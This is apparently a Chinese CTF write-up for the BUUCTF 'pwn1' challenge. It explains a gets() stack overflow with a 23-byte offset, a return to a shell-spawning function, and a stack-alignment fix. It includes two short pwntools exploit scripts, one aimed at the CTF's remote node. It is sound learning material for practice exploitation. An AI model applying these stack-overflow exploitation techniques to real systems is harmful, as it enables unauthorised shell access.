这道题本质上很简单,但是在实际操作过程中会遇到一个不对齐的坑。
可参考链接解决:http://blog.eonew.cn/archives/958
这题和蒸米ROP的level3有点像。
检查安全机制。
用ida反汇编,可以看到是gets函数有个简单的栈溢出,偏移也很好计算,F+8=23
此外还发现一个fun函数可以直接跳转到这里来获取shell。
正常exp如下:
from pwn import *
p = process("./pwn1")
#p = remote("node3.buuoj.cn",29399)
payload = "a" * 23 +p64(0x401186)
p.sendline(payload)
p.interactive()
然而,crash了。
后面发现BUUCTF的FAQ有提到这个问题。
参考链接解决:https://www.cnblogs.com/Rookle/p/12871878.html
新的exp如下:
from pwn import *
p = process("./pwn1")
#context.log_level = "debug"
p = remote("node3.buuoj.cn",29157)
payload = "a" * (0xf+8)+p64(0x401187)
p.sendline(payload)
p.interactive()
最后获取到flag。